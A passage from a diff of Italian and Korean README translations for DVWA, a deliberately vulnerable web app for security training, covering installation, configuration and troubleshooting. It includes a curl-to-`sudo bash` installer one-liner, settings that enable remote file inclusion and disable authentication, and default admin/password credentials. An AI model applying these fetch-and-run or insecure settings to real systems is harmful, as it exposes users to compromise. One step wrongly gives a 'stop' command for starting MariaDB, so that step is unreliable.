file](https://github.com/digininja/DVWA/archive/master.zip). + +- - - + +## Installazione + +### Installazione Automatica 🛠️ +**Nota, questo non è uno script ufficiale di DVWA, è stato scritto da [IamCarron](https://github.com/iamCarron/). Creare questo script è costato molto lavoro e, quando è stato creato, era sicuro, tuttavia è consigliato leggere lo script prima di eseguirlo alla cieca, per sicurezza. Per favore segnalare qualsiasi bug a [IamCarron](https://github.com/iamCarron/), non qui.** + +Uno script di configurazione automatica per DVWA su macchine basate su Debian, inclusa Kali, Ubunut, Kubuntu, Linux Mint, Zorin OS... + +**Nota: Questo script richiede i permessi di root ed è pensato per sistemi basati su Debian. È necessario assicurarsi che si è utente root.** + +#### Requisiti per l'installazione + +- **Sistema operativo:** Sistemi basati su Debian (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin Os) +- **Privilegi-** Eseguire come utente root + +#### Step dell'installazione + +##### One-Liner + +Questo comando scarica lo script scritto da [@IamCarron](https://github.com/iamCarron/) e lo esegue automaticamente. Questo non sarebbe incluso qui se non avessimo fiducia nell'autore e nello script così com'era al momento della revisione, ma esiste sempre la possibilità che qualcuno agisca in modo malevolo. Pertanto, se non ti senti al sicuro nell'eseguire codice di terzi senza prima esaminarlo personalmente, segui la procedura manuale e potrai rivedere lo script una volta scaricato. + +```sh +sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)" +``` + +##### Esecuzione manuale dello Script + +1. **##Scarica lo script:** + + ```sh + wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh + ``` + +2. **Rendi lo script eseguibile:** + + ```sh + chmod +x Install-DVWA.sh + ``` + +3. **Esegui lo script come utente root:** + + ```sh + sudo ./Install-DVWA.sh + ``` + +### Video di installazione + +- [Installa DVWA su Kali utilizzando Virtualbox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- [Installa DVWA su Windows utilizzando XAMPP](https://youtu.be/Yzksa_WjnY0) +- [Installa Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) + +### Windows + XAMPP + +Il modo più semplice per installare DVWA è scaricare ed installare [XAMPP](https://www.apachefriends.org/) qualora già non si abbia un setup di un Web Server. + +XAMPP è una distribuzione Apache per Linux, Solaris, Window e MAC OS X molto semplice da installare. I pacchetti includono il web server Apache, MYSQL, PHP Perl, un server FTP e phpMyAdmin. + +Questo [video](https://youtu.be/Yzksa_WjnY0) mostra gli step per l'installazione per Windows. Tuttavia dovrebbe essere simile per altri sistemi operativi. + +### Docker + +Grazie a [hoang-himself](https://github.com/hoang-himself) e [JGillam](https://github.com/JGillam), ogni commit al `master` branch fa in modo che un'immagine Docker sia buildata per ogni branch e sia pronta da essere pullata dal GitHub Container Registry. + +Per più informazioni, si visiti [le Immagini Docker prebuildate](https://github.com/digininja/DVWA/pkgs/container/dvwa). + +#### Per iniziare + +Prerequisiti: Docker e Docker Compose. + +- Se si usa Docker Desktop, entrambi i requisiti dovrebbero essere già installati. +- Se si preferisce l'utilizzo di Docker Engine su Linux, è importante seguire correttamente la [guida d'installazione](https://docs.docker.com/engine/install/#server). + +**Forniamo assistenza per l'ultima versione di Docker come discusso sopra.** + +Se stai usando Linux e il pacchetto Docker fornito dal tuo gestore di pacchetti, probabilmente funzionerà comunque, ma il supporto sarà fornito solo best-effort. + +Aggiornare Docker dalla versione del gestore pacchetti a quella ufficiale ("upstream") richiede la disinstallazione delle vecchie versioni, come indicato nella documentazione per [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) e altre distribuzioni. + +I tuoi dati Docker (container, immagini, volumi, ecc.) non dovrebbero essere influenzati, ma nel caso si presentino problemi, assicurati di segnalarli a [Docker](https://www.docker.com/support) e nel frattempo utilizza i motori di ricerca. + +Poi, per iniziare: + +1. Esegui `docker version` and `docker compose version` per verificare di avere correttamente installati Docker e Docker Compose. Si dovrebbe essere in grado di vedere le versioni dei pacchetti in output. + + Per esempio: + + ```text + >>> docker version + Client: + [...] + Version: 23.0.5 + [...] + + Server: Docker Desktop 4.19.0 (106363) + Engine: + [...] + Version: 23.0.5 + [...] + + >>> docker compose version + Docker Compose version v2.17.3 + ``` + + Se non si vede nulla oppure si ha un "errore: comando non trovato", seguire i prerequisiti per fare il setup di Docker e Docker Compose. + +2. Clonare e scaricare questo repository ed estrarre (vedere [Download](#download)). +3. Aprire un terminale di tua scelta e cambiare la cartella di lavoro in questa cartella (`DVWA`). +3. Eseguire `docker compose up -d`. + +DVWA è ora disponibile all'indirizzo `http://localhost:4280`. + + +**Nota che per eseguire DVWA nei container, il web server è in ascolto sulla porta 4280 invece che la solita porta 80.** +Per più informazioni su questa decisione, vedere [Voglio eseguire DVWA su una porta differente](#Voglio-eseguire-DVWA-su-una-porta-differente) + +#### Build locale + +Se si sono fatti cambiamente e si vuole buildare il progetto da locale, andare a `compose.yml` e cambiare `pull_policy: always` in `pull_policy: build`. + +Eseguire `docker compose up -d` dovrebbe spingere Docker a buildare un'immagine da locale indipendentemente da ciò che è disponibile nel registro. + +See also: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy). + +#### Serve local files + +Se si stanno facendo cambiamenti in locale e non si vuole effettuare una build per ogni cambiamente: +1. Andare a `compose.yml` e rimuovare il commento da : + ``` + # volumes: + # - ./:/var/www/html + ``` +2. Eseguire `cp config/config.inc.php.dist config/config.inc.php` per copiare il file di configurazione di default. +3. Eseguire `docker compose up -d` e i cambiamenti sui file locale si rifletteranno sul container. + +### Versioni PHP + +Idealmente, dovresti utilizzare l'ultima versione stabile di PHP, poiché è su quella versione che questa applicazione verrà sviluppata e testata. + +Non verrà fornito supporto a chi tenta di utilizzare PHP 5.x. + +Le versioni inferiori alla 7.3 presentano problemi noti che possono causare malfunzionamenti: gran parte dell'app funzionerà, ma alcune funzionalità potrebbero comportarsi in modo imprevedibile. A meno che tu non abbia un motivo davvero valido per utilizzare una versione così obsoleta, il supporto non sarà garantito. + +### Pacchetti Linux + +Se stai usando una distribuzione Linux basata su Debian, saranno necessari i seguenti pacchetti _(o loro equivalenti)_: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php php-mysqli +- php-gd + +Raccomanderei di fare un update prima di scaricarli, in modo tale da avere sicuramente l'ultima versione di tutto. + +```sh +apt update +apt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php +``` + +Il sito funzionerà con MySQL invece di MariaDB ma incoraggiamo vivamente MariaDB poiché funziona out of the box. Con MYSQL è necessario fare dei cambiamenti affinché funzioni. + +### Moduli Apache + +Se si vuole usare il lab API è necessario avere il modulo Apache `mod_rewrite` abilitato. Per fare questo in linux eseguire: + +``` +a2enmod rewrite +``` + +Poi riavviare Apache con: + +``` +apachectl restart +``` + +### File sellers + +Se si vuole usare il modulo API sarà necessario scaricare un insieme di file sellers usando [Composer](https://getcomposer.org/). + +In primo luogo, assicurarsi di avere Composer installato. Sembrano esserci problemi di incompatibilità tra le versioni. Io ottengo le versioni più recenti da qui: + +https://getcomposer.org/doc/00-intro.md + +Seguire le istruzioni del sito per installare Composer. + +Poi andare dentro la cartella `vulnerabilities/api` ed eseguire: + +``` +composer.phar install +``` + +Se non si è scaricato Composer nella cartella di sistema, assicurarsi di avere come riferimento il percorso completo. + +## Configurations + +### Config File + +DVWA viene fornito con una copia fittizia del suo file di configurazione, che dovrai copiare nella posizione corretta e poi modificare opportunamente. Su Linux, assumendo che tu sia nella directory di DVWA, questo può essere fatto come segue: + + +`cp config/config.inc.php.dist config/config.inc.php` + +Su Windows, questo può essere un po’ più complicato se le estensioni dei file sono nascoste. Se non si è sicuri di questo aspetto, questo articolo del blog lo spiega più nel dettaglio: + +[Come mostrare l'estensione dei file su Windows](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/) + +### Configurazione con variabili di ambiente + +Invece di modificare il file di configurazione, puoi anche impostare la maggior parte delle opzioni utilizzando delle variabili d'ambiente. In un deployment Docker o Kubernetes, questo ti permette di modificare la configurazione senza dover creare una nuova immagine Docker. Troverai le variabili nel [config/config.inc.php.dist](config/config.inc.php.dist) file. + +Se si desidera impostare il livello di sicurezza su "basso", aggiungere semplicemente la seguente linea al file [compose.yml](./compose.yml): + +```yml +environment: + - DB_SERVER=db + - DEFAULT_SECURITY_LEVEL=low +``` + +### Setup Del Database + +Per fare il setup del database, semplicemente cliccare sul bottone `Setup DVWA` nel menu principale, poi cliccare il bottone `Create / Reset Database`. Questo creerà / resetterà il database per te con un po' di dati al suo interno. + +Qualora si riceva un errore durante la creazione del database, assicurarsi di aver inserito delle credenziali corrette dentro `./config/config.inc.php`. _Questo è diverso da config.inc.php.dist, è solo un file di esempio._ + +Le variabili sono settate ai seguenti valori di default: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; +$_DVWA[ 'db_port'] = '3306'; +$_DVWA[ 'db_user' ] = 'dvwa'; +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; +$_DVWA[ 'db_database' ] = 'dvwa'; +``` + +Nota, se si sta usando MariaDB invece di MySQL (MariaDB è il default in Kali), non si può usare l'utente root del database, bisogna creare un nuovo utente del database. Per fare questo, connettersi al database come utente root e usare i seguenti comandi: + +```mariadb +MariaDB [(none)]> create database dvwa; +Query OK, 1 row affected (0.00 sec) + +MariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd'; +Query OK, 0 rows affected (0.01 sec) + +MariaDB [(none)]> grant all on dvwa.* to dvwa@localhost; +Query OK, 0 rows affected (0.01 sec) + +MariaDB [(none)]> flush privileges; +Query OK, 0 rows affected (0.00 sec) +``` + +### Disabilitare L'Autenticazione +Alcuni strumenti non funzionano bene con l'autenticazione quindi non possono essere usati con DVWA. Per risolvere questo, c'è un'impostazione di configurazione per disabilitare il controllo dell'autenticazione. Per farlo, bisogna semplicemente settare il seguente flag nel file di configurazione + +```php +$_DVWA[ 'disable_authentication' ] = true; +``` +Sarà anche necessario impostare il livello di sicurezza su uno che sia appropriato sul livello di test che si vuole fare: + +```php +$_DVWA[ 'default_security_level' ] = 'low'; +``` + +In questo caso, si può accedere a tutte le features senza il bisogno di essere loggati o senza alcun cookie. + +### Cartella Permessi + +- `./hackable/uploads/` - È necessario che sia scrivibile dal Web Service (per il File Upload). + +### Configurazione PHP + +Sui sistemi Linux, probabilmente si trova in `/etc/php/x.x/fpm/php.ini` o `/etc/php/x.x/apache2/php.ini`. + +- Per abilitare il Remote File Inclusions (RFI): + - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)] + - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)] + +- Per essere sicuri che PHP mostri tutti i messaggi di errore: + - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)] + +È necessario riavviare il servizio php o Apache dopo aver effettuato i cambiamenti. + +### reCAPTCHA + +È necessario eseguire quanto riportato qui sotto solo per il laboratorio "CAPTCHA insicuro", se non si vuole usare con quel laboratorio, si può ignorare questo capitolo. + +Generare un paio di chiavi da . + +Poi andare nelle seguenti sezioni di `./config/config.inc.php`: + +- `$_DVWA[ 'recaptcha_public_key' ]` +- `$_DVWA[ 'recaptcha_private_key' ]` + +### Credenziali Di Default + +**Default username = `admin`** + +**Default password = `password`** + +_...può essere bruteforzato facilmente ;)_ + +URL DI LOGIN: + +_Nota: Questo sarà differente se si è installato DVWA in una cartella differente._ + +- - - + +## Risoluzione Di Problemi + +Si presume che si stia utilizzando una distribuzione basata su Debian, come Debian, Ubuntu o Kali. Per altre distribuzioni, si può comunque seguire la guida, aggiornando i comandi dove opportuno. + +Se si preferisce guardare un video anziché leggere, i problemi più comuni vengono trattati nel video [Fixing DVWA Setup Issues](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F). + +### Containers + +#### Vorrei accedere i log + +Se si sta usando Docker Desktop, i log possono essere acceduti dall'applicazione grafica. Alcuni cambiamenti minori ci possono essere nelle versioni più recenti ma il metodo di accesso dovrebbe essere il medesimo. + +![Overview of DVWA compose](./docs/graphics/docker/overview.png) +![Viewing DVWA logs](docs/graphics/docker/detail.png) + +I log possono essere anche acceduti dal terminale. + +1. Aprire un terminale e cambiare la cartella di lavoro di DVWA. +2. Mostrare i log uniti + + ```sh + docker compose logs + ``` + + In caso si vogliano esportare i log, i.e. `dvwa.log` + + ```sh + docker compose logs > dvwa.log + ``` + +#### Voglio eseguire DVWA in un'altra porta + +Non si utilizza la porta 80 come predefinita per alcuni motivi: + +- Alcuni utenti potrebbero avere già qualcosa in esecuzione sulla porta 80. +- Alcuni utenti potrebbero usare un container senza privilegi (come Podman), e la porta 80 è una porta privilegiata (< 1024). Sarebbe necessaria una configurazione aggiuntiva (ad esempio impostare `net.ipv4.ip_unprivileged_port_start`) è necessario, ma su questo bisognerà informarsi autonomamente. + +Si può esporre DVWA su una porta diversa modificando l'associazione della porta nel file `compose.yml`. +Per esempio, si può cambiare + +```yml +ports: + - 127.0.0.1:4280:80 +``` + +in + +```yml +ports: + - 127.0.0.1:8806:80 +``` + +DVWA è ora accessibile a `http://localhost:8806`. + +Nei casi in cui si desideri che DVWA sia accessibile non solo dal proprio dispositivo, ma anche dalla rete locale (ad esempio perché si sta configurando una macchina di test per un workshop), si può rimuovere il `127.0.0.1:` dall’associazione delle porte (oppure sostituirlo con l’indirizzo IP della propria LAN). In questo modo, l'applicazione ascolterà su tutte le interfacce di rete disponibili. + +La scelta predefinita e più sicura dovrebbe comunque essere quella di limitare l’ascolto al solo dispositivo locale (loopback). In fin dei conti, si tratta di un'applicazione web deliberatamente vulnerabile, in esecuzione sulla propria macchina. + +437 + +Il file incluso [`compose.yml`](./compose.yml) esegue automaticamente DVWA e il suo database quando Docker viene inizializzato. + +Per disabilitare questa funzione, si può eliminare o commentare la linea `restart: unless-stopped` nel file [`compose.yml`](./compose.yml) + +Se si vuole disabilitare questo comportamento temporaneamente, si può eseguire `docker compose stop`, o usare Docker Desktop, trovare `dvwa` e cliccare Stop. +Addizionalmente, si possono eliminare i container oppure eseguire `docker compose down`. + +### File di log + +Sui sistemi Linux Apache genera due file di log di default, `access.log` e `error.log` e sui sistemi Debian sono solitamente nella cartella `/var/log/apache2/`. + +Durante la segnalazione di errori, problemi o qualsiasi cosa del genere, per favore includere almeno cinque linee da ognuno di questi file. Sui sistemi basati su Debian si possono ottenere questi file così + +```sh +tail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log +``` + +### Navigando sul sito ho ottenuto un errore 404 o la pagina predefinita di Apache2 + +[Video di aiuto](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=141) + +Se si sta avendo questo problema bisogna capire come funziona la posizione dei file. Di default, la root dei documenti di Apache (il posto in cui comincia a cercare i documenti) è `/var/www/html`, Se si posiziona il file `hello.txt` in questa cartella, per accedere questo file sarà necessario navigare a `http://localhost/hello.txt`. + +Se si è creata una cartella e messi i file lì dentro - `/var/www/html/mydir/hello.txt` - si avrà bisogno di navigare a `http://localhost/mydir/hello.txt`. + +Linux è attento alle maiuscole e minuscole, se non si fa attenzione si può ottenere un errore `404 Not Found`: + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +Che effetto ha questo su DVWA? Diverse persone usano git per clonare DVWA in `/var/www/html`, questo crea la cartella `/var/www/html/DVWA/` con tutti i file al suo interno. Successivamente navigano `http://localhost/` e ottengono o `404` o la pagina predefinita di Apache. Poiché i file sono in DVWA bisogna navigare in `http://localhost/DVWA`. + +L'altro errore comune è quello di navigare su `http://localhost/dvwa`, il che porta a un errore `404` perché `dvwa` non è `DVWA`, dato che in Linux si fa distinzione tra maiuscole e minuscole nei nomi delle directory. + +Quindi, dopo l'installazione, se si prova a visitare il sito e si riceve un errore `404`, si deve riflettere su dove sono stati installati i file, su dove si trovano rispetto alla radice del documento e su come siano scritte le lettere della directory usata. + +### Navigando la pagina ho ottenuto uno schermo vuoto + +[Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=243) + +Questo è di solito un problema di configurazione che ne nasconde un altro. Di default, PHP non mostra gli errori, e quindi, se ci si è dimenticati di attivare la visualizzazione degli errori durante il processo di configurazione, qualsiasi altro problema, come un fallimento nella connessione al database, impedirà all'applicazione di caricarsi, ma il messaggio che dice cosa non va sarà nascosto. + +Per sistemare questo, bisogna essere sicuri di impostare `display_errors` e `display_startup_errors` come discusso in [Configurazione di PHP](#configurazione-php) e poi riavviare Apache. + +### "Access denied" mentre si esegue il setup + +Se si vede quanto segue durante l'esecuzione dello script di configurazione, significa che il nome utente o la password nel file di configurazione non corrispondono a quelli configurati nel database. +[Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=973) + +```mariadb +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +L'errore sta dicendo che si sta usando lo username `notdvwa`. + +Il seguente errore dice che si è scritto il file di configurazione al database sbagliato. [Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=630) + +```mariadb +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +Questo errore sta invece dicendo che l'utente `dvwa` sta provando a connettersi al database `notdvwa`. + +La prima cosa da fare è ricontrollare che ciò che si pensa di aver inserito nel file di configurazione sia effettivamente quello che è presente. + +Se corrisponde a quanto ci si aspetta, la cosa successiva da fare è verificare se si riesce ad accedere come l’utente voluto da linea di comando. Supponendo di avere un utente del database chiamato `dvwa` e una password di `p@ssw0rd`, eseguire il seguente comando: + +```sh +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +_Nota: non c'è uno spazio dopo -p_ + +Se si vede il seguente output, il codice è corretto: + +```mariadb +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + + + +Poiché si riesce a connettersi dalla riga di comando, è probabile che ci sia qualcosa di sbagliato nel file di configurazione, lo si ricontrolli attentamente e poi si apra un issue se ancora non si riesce a far funzionare le cose. + +Se si vede quanto segue, il nome utente o la password che si sta usando è sbagliato. Si ripetano i passaggi della [Database Setup](#database-setup) e ci si assicuri di usare lo stesso nome utente e la stessa password per tutto il processo. + +```mariadb +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` + +Se si ottiene quanto segue, le credenziali dell'utente sono corrette ma l'utente non ha accesso al database. Anche in questo caso, si ripetano i passaggi di configurazione e si controlli il nome del database che si sta usando. + +```mariadb +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +L'errore finale che si potrebbe ottenere è questo: + +```mariadb +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` + +Questo non è un errore di autenticazione ma dice che il server del database non è in esecuzione. Si può avviarlo con il seguente comando. + +```sh +sudo service mysql start +``` + +### Connessione rifiutata + +[Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=444) + +Un errore simile a questo: + +```mariadb +Fatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535 +``` + +Significa che il server del database non è in esecuzione oppure si ha l'indirizzo ip errato nel file di configurazione. + +Controllare questa linea nel file di configurazione per vedere dove il server del database dovrebbe essere: + +```php +$_DVWA[ 'db_server' ] = '127.0.0.1'; +``` + +Poi andare a questo server e controllare che sia in esecuzione. In linux si può fare questo con: + +```sh +systemctl status mariadb.service +``` + +E si deve cercare qualcosa del genere, la cosa importante è che dica qualcosa come `active (running)`. + +```sh +● mariadb.service - MariaDB 10.5.19 database server + Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled) + Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago +``` + +Se non è in esecuzione, si può avviare con: + +```sh +sudo systemctl stop mariadb.service +``` + +Nota `sudo` e assicurarsi di mettere la password di Linux se richiesto. + +In Windows, controllare lo status nella console XAMPP. + +### Metodo Di Autenticazione Sconosciuto + +Con le versioni più recenti di MySQL, non è più possibile far comunicare PHP con il database nella sua configurazione predefinita. Se si prova a eseguire lo script di installazione e viene visualizzato il seguente messaggio, significa che è stata configurata una configurazione. + + +```mariadb +Database Error #2054: The server requested authentication method unknown to the client. +``` + +Si hanno due opzioni, la più semplice è disinstallare MySQL e installare MariaDB. La seguente è la guida ufficiale dal progetto di MariaDB: + + + +Alternativamente, seguire questi passi: + +1. Da utente root, modificare il seguente file: `/etc/mysql/mysql.conf.d/mysqld.cnf` +1. Sotto la linea `[mysqld]`, aggiungere: + `default-authentication-plugin=mysql_native_password` +1. Riavviare il database: `sudo service mysql restart` +1. Controllare il metodo di autenticazione per l'utente del database: + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` +1. Si vedrà verosimilmente `caching_sha2_password`. Se sì, eseguire eseguire i seguenti comandi: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +1. Ri-eseguendo i controlli, si dovrebbe ora vedere +`mysql_native_password`. + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` + +Dopo tutto, il processo di inizializzazione dovrebbe funzionare normalmente. + +Se si vogliono più informazioni vedere la seguente pagina: +. + +### Errore Del Database #2002: No such file or directory + +Il server del database non è in esecuzione. In un sistema basato su Debian questo si può risolvere con: + +```sh +sudo service mysql start +``` + +### Errori "MySQL server has gone away" e "Packets out of order" + +Ci sono diverse ragioni per cui si può ricevere questi errori, ma la più probabile è che la versione del server database che si sta utilizzando non è compatibile con la versione di PHP. + +Questo problema si riscontra più comunemente quando si utilizza l’ultima versione di MySQL, poiché PHP e MySQL non funzionano bene insieme. Il consiglio migliore è abbandonare MySQL e installare MariaDB, poiché questo è un problema che non possiamo supportare. + +Per più informazioni, vedere: + + + +### Perché il database non si connette a CentOS? + +Si potrebbero star riscontrando problemi con SELinux. Si può sia disabilitare SELinux oppure eseguire il seguente comando che consente di far comunicare il web server con il database: + +```sh +setsebool -P httpd_can_network_connect_db 1 +``` + +### Qualsiasi Altra Cosa + + +Per le informazioni più aggiornate sulla risoluzione dei problemi, si prega di leggere sia i ticket aperti che quelli chiusi nel repository Git: + + + +Prima di inviare un ticket, assicurati di utilizzare l’ultima versione del codice dal repository. Questa non è l’ultima release, ma l’ultima versione del codice dal ramo master. + +Quando si apre un ticket, si prega di fornire almeno le seguenti informazioni: + +-Sistema operativo +-Le ultime 5 righe del log degli errori del server web subito dopo che si è verificato l’errore che stai segnalando +-Se si tratta di un problema di autenticazione al database, segui i passaggi indicati sopra e fai uno screenshot di ogni passaggio. Invia questi screenshot insieme a uno screenshot della sezione del file di configurazione che mostra l’utente e la password del database. +-Una descrizione completa di cosa sta andando storto, cosa ti aspetti che accada e cosa hai provato a fare per risolverlo. "Login non funziona" non è sufficiente per permetterci di capire il tuo problema e aiutarti a risolverlo. + +- - - + +## Tutorials + +Cercherò di realizzare alcuni video tutorial che illustrino alcune vulnerabilità e mostrino come individuarle e poi come sfruttarle. Ecco quelli che ho realizzato finora: + +[Trovare e Sftruttare Reflected XSS](https://youtu.be/V4MATqtdxss) + +- - - + +## SQLite3 SQL Injection + +Il supporto per questo è limitato; prima di segnalare problemi, assicurati di essere pronto a lavorare sul debug, non limitarti a dire “non funziona”. + +Per impostazione predefinita, gli attacchi SQLi e Blind SQLi vengono eseguiti contro il server MariaDB/MySQL utilizzato dal sito, ma è possibile passare a eseguire i test SQLi su SQLite3. + +Non spiegherò come far funzionare SQLite3 con PHP, ma dovrebbe essere sufficiente installare il pacchetto `php-sqlite3` e assicurarsi che sia abilitato. + +Per effettuare il cambio, modifica semplicemente il file di configurazione aggiungendo o modificando queste righe: + +```php +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +Di default viene usato il file `database/sqli.db`, qualora si abbiano problemi, semplicemente copiare `database/sqli.db.dist` in alto. + +Le challenge sono esattamente quelle come per MariaDB, tuttavia ora utilizzano SQLite3. + +- - - + +👨‍💻 Contributors +----- + +Grazie per tutti i vostri contributi e per mantenere aggiornato questo progetto. :heart: + +Se hai un'idea, qualche tipo di miglioramento o semplicemente vuoi collaborare, sei il benvenuto a contribuire e partecipare al progetto. Sentiti libero di inviare una pull request. + +

+ + + +

+ +- - - + +## Segnalare Vulnerabilità + +Per essere semplici, non fatelo! + +Circa una volta all’anno, qualcuno invia un report riguardo a una vulnerabilità trovata nell’applicazione. Alcuni di questi report sono ben scritti, a volte persino meglio di quelli che ho visto in test di penetrazione a pagamento; altri si limitano a dire “mancano degli header, pagatemi”. + +Nel 2023, la cosa ha raggiunto un nuovo livello quando qualcuno ha deciso di richiedere un CVE per una delle vulnerabilità, ottenendo [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Ne è seguito molto divertimento e si è perso tempo per sistemare la questione. + +L’applicazione contiene vulnerabilità, ed è voluto. La maggior parte sono quelle ben documentate che si affrontano come esercizi, altre sono vulnerabilità “nascoste”, da scoprire autonomamente. Se vuoi davvero dimostrare le tue capacità trovando quelle extra, scrivi un post sul blog o crea un video: probabilmente ci sono persone interessate ad apprendere come le hai individuate. Se ci mandi il link, potremmo anche includerlo tra i riferimenti. + +## Link + +Home del progetto: + +_Creato dal team DVWA_ + + diff --git a/DVWA/README.ko.md b/DVWA/README.ko.md new file mode 100644 index 00000000..c9f770e4 --- /dev/null +++ b/DVWA/README.ko.md @@ -0,0 +1,654 @@ +# DAMN VULNERABLE WEB APPLICATION + +Damn Vulnerable Web Application (DVWA)은 매우 취약한 PHP/MySQL 웹 애플리케이션입니다. DVWA의 주요 목표는 보안 전문가들이 자신의 기술과 도구를 합법적인 환경에서 테스트하고, 웹 개발자들이 웹 애플리케이션 보안 프로세스를 더 잘 이해하도록 돕는 것입니다. 또한, 학생과 교사들이 통제된 교실 환경에서 웹 애플리케이션 보안에 대해 배우는 데 도움을 주고자 합니다. + +DVWA의 목표는 **가장 흔한 웹 취약점들에 대한 연습**을 **다양한 난이도로 제공하는 것**입니다. 간단하고 직관적인 인터페이스를 갖추고 있습니다. 이 소프트웨어에는 **문서화된 취약점과 문서화되지 않은 취약점**이 모두 존재합니다. 이는 의도적인 것으로, 가능한 많은 문제를 발견해 보시기를 권장합니다. +- - - + +## 주의! + +Damn Vulnerable Web Application은 매우 취약합니다! **호스팅 제공자의 공개 html 폴더나 인터넷에 노출된 서버에 업로드하지 마십시오.** 그렇지 않으면 서버가 침해될 수 있습니다. 가상 머신(예: [VirtualBox](https://www.virtualbox.org/) or [VMware](https://www.vmware.com/))을 사용하고 NAT 네트워킹 모드로 설정하는 것이 좋습니다. 게스트 머신 내에서 [XAMPP](https://www.apachefriends.org/)를 다운로드하여 웹 서버와 데이터베이스를 설치할 수 있습니다. + +### 면책 조항 + +우리는 DVWA의 사용 방식에 대해 책임을 지지 않습니다. 애플리케이션의 목적은 명확히 설명되어 있으며, 악의적으로 사용해서는 안 됩니다. 사용자가 DVWA를 라이브 웹 서버에 설치하지 않도록 경고와 조치를 취했습니다. DVWA 설치를 통해 웹 서버가 침해된 경우, 이는 설치한 개인의 책임입니다. + +- - - + +## 라이선스 + +이 파일은 Damn Vulnerable Web Application (DVWA)의 일부입니다. + +Damn Vulnerable Web Application (DVWA)은 자유 소프트웨어입니다: 귀하는 이를 재배포하거나 수정할 수 있으며, GNU 일반 공중 사용 허가서(GNU General Public License) 버전 3 또는 (옵션으로) 그 이후 버전의 조건에 따라 이를 사용할 수 있습니다. + +Damn Vulnerable Web Application (DVWA)은 유용할 것이라는 희망으로 배포되지만, 어떠한 형태의 보증도 제공하지 않습니다. 상업성이나 특정 목적에의 적합성에 대한 묵시적인 보증도 포함되지 않습니다. 자세한 내용은 GNU 일반 공중 사용 허가서를 참조하십시오. + +Damn Vulnerable Web Application (DVWA)와 함께 GNU 일반 공중 사용 허가서 사본을 받았어야 합니다. 그렇지 않다면 에서 확인하십시오. + +- - - + +## 국제화 +이 파일은 여러 언어로 제공됩니다: +- 스페인어: [Espaol](README.es.md) +- 아랍어: [العربية](README.ar.md) +- 영어: [English](README.md) +- 인도네시아어: [Indonesia](README.id.md) +- 중국어: [简体中文](README.zh.md) +- 터키어: [Trke](README.tr.md) +- 페르시아어: [فارسی](README.fa.md) +- 포르투갈어: [Portugus](README.pt.md) +- 프랑스어: [Franais](README.fr.md) +- 한국어: [한국어](README.ko.md) + +번역에 기여하고자 한다면 PR을 제출해 주십시오. 단, 구글 번역기를 사용한 번역은 거부됩니다. 번역본을 제출하려면, 번역된 